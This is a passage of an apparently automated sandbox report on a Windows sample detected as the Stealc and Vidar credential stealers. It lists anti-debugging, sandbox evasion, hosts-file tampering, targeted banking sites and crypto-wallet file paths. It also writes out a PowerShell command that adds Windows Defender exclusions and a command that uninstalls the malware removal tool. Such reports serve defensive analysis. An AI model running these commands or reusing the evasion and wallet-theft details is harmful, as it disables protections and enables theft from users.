Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: discord.comVMware20,11696428655f
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: global block list test formVMware20,11696428655
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: svchost.exe, 0000000B.00000002.3283673456.000001C41AA51000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: NXTcpV6VMWare
Source: 3WffcqLN3q.exe, 00000000.00000002.2611600844.0000000000A45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283213921.000001C419ABF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
Source: 3WffcqLN3q.exe, 00000000.00000002.2611600844.00000000009F5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: AMC password management pageVMware20,11696428655
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: tasks.office.comVMware20,11696428655o
Source: svchost.exe, 0000000B.00000002.3283017591.000001C419A2B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWP-
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 3WffcqLN3q.exe, 00000000.00000002.2611531631.00000000009BE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 3WffcqLN3q.exe, 00000000.00000002.2633963881.0000000034650000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: HIJEGDBGDB.exe, 00000005.00000002.2441533670.0000023E0B0E1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__7
Source: 3WffcqLN3q.exe, 00000000.00000003.2159428126.0000000026F57000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: C:\Users\user\Desktop\3WffcqLN3q.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\3WffcqLN3q.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\3WffcqLN3q.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\3WffcqLN3q.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\3WffcqLN3q.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\3WffcqLN3q.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\3WffcqLN3q.exe API call chain: ExitProcess graph end node
Source: C:\ProgramData\HIJEGDBGDB.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\ProgramData\HIJEGDBGDB.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe Thread information set: HideFromDebugger
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\ProgramData\Google\Chrome\updater.exe Open window title or class name: regmonclass
Source: C:\ProgramData\Google\Chrome\updater.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\ProgramData\Google\Chrome\updater.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\ProgramData\Google\Chrome\updater.exe Open window title or class name: procmon_window_class
Source: C:\ProgramData\Google\Chrome\updater.exe Open window title or class name: filemonclass
Source: C:\ProgramData\Google\Chrome\updater.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks if the current process is being debugged
Source: C:\ProgramData\HIJEGDBGDB.exe Process queried: DebugPort Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Process queried: DebugPort Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Process queried: DebugObjectHandle Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe Process queried: DebugPort
Source: C:\ProgramData\Google\Chrome\updater.exe Process queried: DebugPort
Source: C:\ProgramData\Google\Chrome\updater.exe Process queried: DebugObjectHandle
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_004045C0 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,GetProcessHeap,RtlAllocateHeap,lstrlenA,lstrlenA,lstrlenA,lstrlenA,LdrInitializeThunk,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,strlen,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,VirtualProtect, 0_2_004045C0
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_0041AD48
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_004045C0 VirtualProtect ?,00000004,00000100,00000000 0_2_004045C0
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_00419860
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00419750 mov eax, dword ptr fs:[00000030h] 0_2_00419750
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA, 0_2_00417850
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_0041AD48
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_0041CEEA SetUnhandledExceptionFilter, 0_2_0041CEEA
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_0041B33A
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6AB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_6C6AB66C
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6AB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_6C6AB1F7
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C85AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_6C85AC62
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Memory protected: page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: 3WffcqLN3q.exe PID: 3872, type: MEMORYSTR
Adds a directory exclusion to Windows Defender
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force Jump to behavior
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\ProgramData\Google\Chrome\updater.exe NtSetInformationThread: Indirect: 0x7FF6769FFE24
Source: C:\ProgramData\HIJEGDBGDB.exe NtQuerySystemInformation: Indirect: 0x7FF6B01C3BBD Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe NtQueryInformationProcess: Indirect: 0x7FF6769F7323
Source: C:\ProgramData\HIJEGDBGDB.exe NtSetInformationThread: Indirect: 0x7FF6B01FFE24 Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe NtQuerySystemInformation: Indirect: 0x7FF6769C3BBD
Source: C:\ProgramData\HIJEGDBGDB.exe NtQueryInformationProcess: Indirect: 0x7FF6B01EA04D Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe NtQueryInformationProcess: Indirect: 0x7FF6B01F7323 Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe NtQueryInformationProcess: Indirect: 0x7FF6769EA04D
Modifies the hosts file
Source: C:\ProgramData\HIJEGDBGDB.exe File written: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Searches for specific processes (likely to inject)
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle, 0_2_00419600
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\HIJEGDBGDB.exe" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\ProgramData\HIJEGDBGDB.exe "C:\ProgramData\HIJEGDBGDB.exe" Jump to behavior
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3872 -ip 3872 Jump to behavior
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3872 -s 2960 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_6C6AB341 cpuid 0_2_6C6AB341
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 0_2_00417B90
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00416920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess, 0_2_00416920
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA, 0_2_00417850
Source: C:\Users\user\Desktop\3WffcqLN3q.exe Code function: 0_2_00417A30 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA, 0_2_00417A30

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Modifies power options to not sleep / hibernate
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 Jump to behavior
Source: C:\ProgramData\HIJEGDBGDB.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 Jump to behavior
Modifies the hosts file
Source: C:\ProgramData\HIJEGDBGDB.exe File written: C:\Windows\System32\drivers\etc\hosts Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Stealc
Source: Yara match File source: 0.3.3WffcqLN3q.exe.bb0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.3WffcqLN3q.exe.910e67.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.3WffcqLN3q.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.3WffcqLN3q.exe.910e67.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.3WffcqLN3q.exe.bb0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.3WffcqLN3q.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2610980463.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2069681714.0000000000BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2611600844.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2611482078.0000000000910000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 3WffcqLN3q.exe PID: 3872, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: Process Memory Space: 3WffcqLN3q.exe PID: 3872, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: 3WffcqLN3q.exe String found in binary or memory: eam Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\
Source: 3WffcqLN3q.exe String found in binary or memory: |1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|Mul
Source: 3WffcqLN3q.exe String found in binary or memory: eam Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\
Source: 3WffcqLN3q.exe String found in binary or memory: |1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|Mul
Source: 3WffcqLN3q.exe String found in binary or memory: \jaxx\Local Storage\
Source: 3WffcqLN3q.exe String found in binary or memory: eam Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\
Source: 3WffcqLN3q.exe String found in binary or memory: eam Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\
Source: 3WffcqLN3q.exe String found in binary or memory: |1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|Mul
Source: 3WffcqLN3q.exe String found in binary or memory: eam Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\
Source: 3WffcqLN3q.exe String found in binary or memory: passphrase.json
Source: 3WffcqLN3q.exe String found in binary or memory: \jaxx\Local Storage\
Source: 3WffcqLN3q.exe String found in binary or memory: \Ethereum\
Source: 3WffcqLN3q.exe String found in binary or memory: eam Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\
Source: 3WffcqLN3q.exe String found in binary or memory: Ethereum
Source: 3WffcqLN3q.exe String found in binary or memory: file__0.localstorage
Source: 3WffcqLN3q.exe String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: 3WffcqLN3q.exe String found in binary or memory: \Exodus\exodus.wallet\
